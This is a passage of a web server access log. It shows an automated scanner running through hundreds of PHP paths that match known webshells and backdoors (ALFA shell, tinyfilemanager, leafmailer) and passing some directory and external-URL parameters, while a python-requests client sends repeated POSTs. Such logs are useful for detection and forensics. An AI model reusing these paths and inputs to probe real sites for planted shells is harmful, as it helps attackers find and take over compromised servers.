-0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:47 -0400] "GET /cpouchon/ORTHOSKIM HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:47 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:49 -0400] "GET /css.php/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:49 -0400] "GET /css.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:51 -0400] "GET /css/.tmp/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:52 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:54 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:54 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:55 -0400] "GET /css/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:57 -0400] "GET /css/default.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:44:58 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:01 -0400] "GET /css/nop.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:02 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:04 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:05 -0400] "GET /custom-background.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:07 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:09 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:10 -0400] "GET /d8Q4AflCtoJ.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:11 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:12 -0400] "GET /data/.backup.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:13 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:14 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:15 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:16 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:17 -0400] "GET /dg6Umx2OrVh.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:17 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:18 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:19 -0400] "GET /dropdown.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:19 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:21 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:21 -0400] "GET /eVhyNnBmDl4.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:22 -0400] "GET /ecoraiderusa.com/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:23 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:23 -0400] "GET /edit.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:24 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:24 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:25 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:26 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:27 -0400] "GET /error.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:27 -0400] "GET /es-ar//wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:28 -0400] "GET /exploits7.my.id HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:29 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:30 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:31 -0400] "GET /f8P2t5IOcAq.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:33 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:34 -0400] "GET /feed/atom/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:35 -0400] "GET /fex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:37 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:39 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:40 -0400] "GET /file.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:41 -0400] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:42 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:43 -0400] "GET /filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:44 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:45 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:46 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:46 -0400] "GET /files//tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:47 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:48 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:49 -0400] "GET /files/log.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:49 -0400] "GET /fkHOiaRx2.php HTTP/1.1" 301 795 "-" "-" 185.132.187.105 - - [14/Apr/2025:23:45:51 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:45:51 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:52 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:53 -0400] "GET /fm.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:53 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 185.132.187.105 - - [14/Apr/2025:23:45:54 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:45:54 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:55 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 185.132.187.105 - - [14/Apr/2025:23:45:55 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:45:56 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:57 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 185.132.187.105 - - [14/Apr/2025:23:45:57 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:45:57 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:58 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:59 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-" 185.132.187.105 - - [14/Apr/2025:23:45:59 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:45:59 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:45:59 -0400] "GET /geLVvYmAkdO.php HTTP/1.1" 301 795 "-" "-" 185.132.187.105 - - [14/Apr/2025:23:46:00 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:46:00 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:01 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 185.132.187.105 - - [14/Apr/2025:23:46:01 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:46:02 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:04 -0400] "GET /geylY2B94sm.php HTTP/1.1" 301 795 "-" "-" 185.132.187.105 - - [14/Apr/2025:23:46:04 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:46:05 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:06 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 185.132.187.105 - - [14/Apr/2025:23:46:06 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:46:06 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:06 -0400] "GET /go.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:07 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 185.132.187.105 - - [14/Apr/2025:23:46:08 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:46:09 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:11 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 185.132.187.105 - - [14/Apr/2025:23:46:11 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:46:11 -0400] "GET /gxurwGYPKWI.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:12 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 185.132.187.105 - - [14/Apr/2025:23:46:13 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:46:13 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:14 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 185.132.187.105 - - [14/Apr/2025:23:46:14 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:46:15 -0400] "GET /hitech-news.com HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:16 -0400] "GET /htdocs/shell/ HTTP/1.1" 301 795 "-" "-" 185.132.187.105 - - [14/Apr/2025:23:46:16 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:46:16 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:17 -0400] "GET /iVrp6IoqXQc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:18 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 185.132.187.105 - - [14/Apr/2025:23:46:18 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:46:19 -0400] "GET /images//edit.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:19 -0400] "GET /images/404.php HTTP/1.1" 301 795 "-" "-" 185.132.187.105 - - [14/Apr/2025:23:46:20 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:46:20 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:21 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 185.132.187.105 - - [14/Apr/2025:23:46:21 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.222.47 - - [14/Apr/2025:23:46:22 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:22 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:23 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:24 -0400] "GET /images/lmfi2.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:25 -0400] "GET /images/mm55.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:25 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:26 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:27 -0400] "GET /images/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:28 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:28 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:29 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:30 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:30 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:31 -0400] "GET /index.php?debug=1&test=phpinfo HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:33 -0400] "GET /index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:34 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:34 -0400] "GET /index/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:35 -0400] "GET /index/ben.php?dir=. HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:35 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:36 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:37 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:38 -0400] "GET /index/function.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:38 -0400] "GET /index/function.phphttps://trezurekart.com/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:39 -0400] "GET /index/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:39 -0400] "GET /index/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:40 -0400] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:40 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:41 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:42 -0400] "GET /info.php/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:43 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:43 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:44 -0400] "GET /inputs.php?dir=/home/bfstatyba/domains/bfstatyba.lt/public_html HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:44 -0400] "GET /inputs.php?p=https://dunamisconcept.com.ng/item.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:45 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:45 -0400] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:46 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:46 -0400] "GET /ispeconline.com/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:47 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:48 -0400] "GET /iz4kDodqPnH.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:48 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:49 -0400] "GET /jNY9.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:49 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:49 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:51 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:51 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:52 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:53 -0400] "GET /k.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:54 -0400] "GET /kNRianIr2EH.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:55 -0400] "GET /kPC.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:56 -0400] "GET /kQqh695R1LY.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:56 -0400] "GET /kZETIbO4Lt7.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:57 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:57 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:58 -0400] "GET /lHcbBKS6ixn.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:46:59 -0400] "GET /layout.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:00 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:01 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:02 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:02 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:03 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:04 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:04 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:06 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:07 -0400] "GET /load.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:07 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:08 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:09 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:12 -0400] "GET /login?next=/.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:14 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:15 -0400] "GET /lpuDivJrIO7.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:17 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:21 -0400] "GET /luxx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:27 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:28 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:31 -0400] "GET /m.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:32 -0400] "GET /m5WcUgOwiIs.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:33 -0400] "GET /m8DYVISz5fB.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:34 -0400] "GET /maHidu7t8ye.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:34 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:35 -0400] "GET /mah.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:36 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:37 -0400] "GET /mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:38 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:39 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:39 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:40 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:40 -0400] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:41 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:41 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:41 -0400] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:42 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:43 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:43 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:44 -0400] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:45 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:45 -0400] "GET /media/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:46 -0400] "GET /media/FgSEetRrDqi.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:46 -0400] "GET /media/Qfxs84PjD1c.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:47 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:48 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:48 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:49 -0400] "GET /moddofuns.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:50 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:51 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:51 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:52 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:53 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:53 -0400] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:54 -0400] "GET /museumbuildingandsurroundingspace.com HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:54 -0400] "GET /mwioWRjdxDE.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:55 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:55 -0400] "GET /nFqJSTvuz43.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:56 -0400] "GET /nVEDxSgpTYq.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:56 -0400] "GET /nZVms37xXMW.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:57 -0400] "GET /nakrip.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:57 -0400] "GET /natural.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:57 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:58 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:58 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:59 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:47:59 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:00 -0400] "GET /nope.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:00 -0400] "GET /nowpf.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:01 -0400] "GET /nz7AOl3hjic.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:48:01 -0400] "GET /nzouv.php HTTP/1.1" 